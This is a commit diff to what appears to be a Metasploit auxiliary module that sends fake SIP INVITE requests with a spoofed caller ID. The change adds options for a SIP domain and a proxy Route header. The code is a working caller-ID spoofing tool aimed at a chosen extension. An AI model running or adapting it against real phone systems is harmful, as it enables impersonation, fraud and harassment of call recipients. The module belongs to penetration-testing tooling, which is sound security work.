@@ -21,8 +21,8 @@ def initialize
21
21
} ,
22
22
'Author' =>
23
23
[
24
- 'David Maynor <dave[at]erratasec.com>' ,
25
- 'ChrisJohnRiley'
24
+ 'David Maynor <dave[at]erratasec.com>' , # original module
25
+ 'ChrisJohnRiley' # modifications
26
26
] ,
27
27
'License' => MSF_LICENSE
28
28
)
@@ -33,7 +33,13 @@ def initialize
33
33
Opt ::RPORT ( 5060 ) ,
34
34
OptString . new ( 'SRCADDR' , [ true , "The sip address the spoofed call is coming from" , '192.168.1.1' ] ) ,
35
35
OptString . new ( 'MSG' , [ true , "The spoofed caller id to send" , "The Metasploit has you" ] ) ,
36
- OptString . new ( 'EXTENSION' , [ false , "The specific extension or name to target" , nil ] )
36
+ OptString . new ( 'EXTENSION' , [ false , "The specific extension or name to target" , nil ] ) ,
37
+ OptString . new ( 'DOMAIN' , [ false , "Use a specific SIP domain" , nil ] )
38
+ ] , self . class )
39
+ register_advanced_options (
40
+ [
41
+ OptAddress . new ( 'SIP_PROXY_NAME' , [ false , "Use a specific SIP proxy" , nil ] ) ,
42
+ OptPort . new ( 'SIP_PROXY_PORT' , [ false , "SIP Proxy port to use" , 5060 ] )
37
43
] , self . class )
38
44
end
39
45
@@ -45,19 +51,36 @@ def run_host(ip)
45
51
name = datastore [ 'MSG' ]
46
52
src = datastore [ 'SRCADDR' ]
47
53
ext = datastore [ 'EXTENSION' ]
54
+ dom = datastore [ 'DOMAIN' ]
55
+ sphost = datastore [ 'SIP_PROXY_NAME' ]
56
+ spport = datastore [ 'SIP_PROXY_PORT' ] || 5060
57
+ conn_string = ''
48
58
49
59
if not ext . nil? and not ext . empty?
50
60
# set extesion name/number
51
- conn_string = "#{ ext } @#{ ip } "
61
+ conn_string = "#{ ext } @"
62
+ end
63
+
64
+ if not dom . nil? and not dom . empty?
65
+ # set domain
66
+ conn_string << "#{ dom } "
52
67
else
53
- conn_string = "#{ ip } "
68
+ conn_string << "#{ ip } "
69
+ end
70
+
71
+ # set Route header if SIP_PROXY is set
72
+ if not sphost . nil? and not sphost . empty?
73
+ route = "Route: <sip:#{ sphost } :#{ spport } ;lr>\r \n "
54
74
end
55
75
56
76
connect_udp
57
77
58
78
print_status ( "Sending Fake SIP Invite to: #{ conn_string } " )
79
+ print_status ( "Using SIP proxy #{ sphost } :#{ spport } " ) if route
59
80
60
81
req = "INVITE sip:#{ conn_string } SIP/2.0" + "\r \n "
82
+ # add Route: header to req if SIP_PROXY is set
83
+ req << route if route
61
84
req << "To: <sip:#{ conn_string } >" + "\r \n "
62
85
req << "Via: SIP/2.0/UDP #{ ip } " + "\r \n "
63
86
req << "From: \" #{ name } \" <sip:#{ src } >" + "\r \n "
0 commit comments